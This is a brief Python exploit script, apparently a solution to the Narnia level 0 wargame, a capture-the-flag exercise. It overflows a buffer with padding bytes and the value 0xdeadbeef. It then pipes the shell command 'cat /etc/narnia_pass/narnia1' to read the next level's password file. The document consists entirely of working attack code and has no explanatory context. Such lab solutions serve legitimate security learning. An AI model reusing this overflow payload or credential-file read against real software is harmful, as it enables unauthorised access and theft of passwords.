#!/bin/python3 import time import sys # exploit buffer overflow sys.stdout.buffer.write(b"\x90" * 20 + b"\xef\xbe\xad\xde") # sync script stdout to narnia0 stdin and wait some time sys.stdout.flush() time.sleep(1) # command to get our next password sys.stdout.buffer.write(b"cat /etc/narnia_pass/narnia1")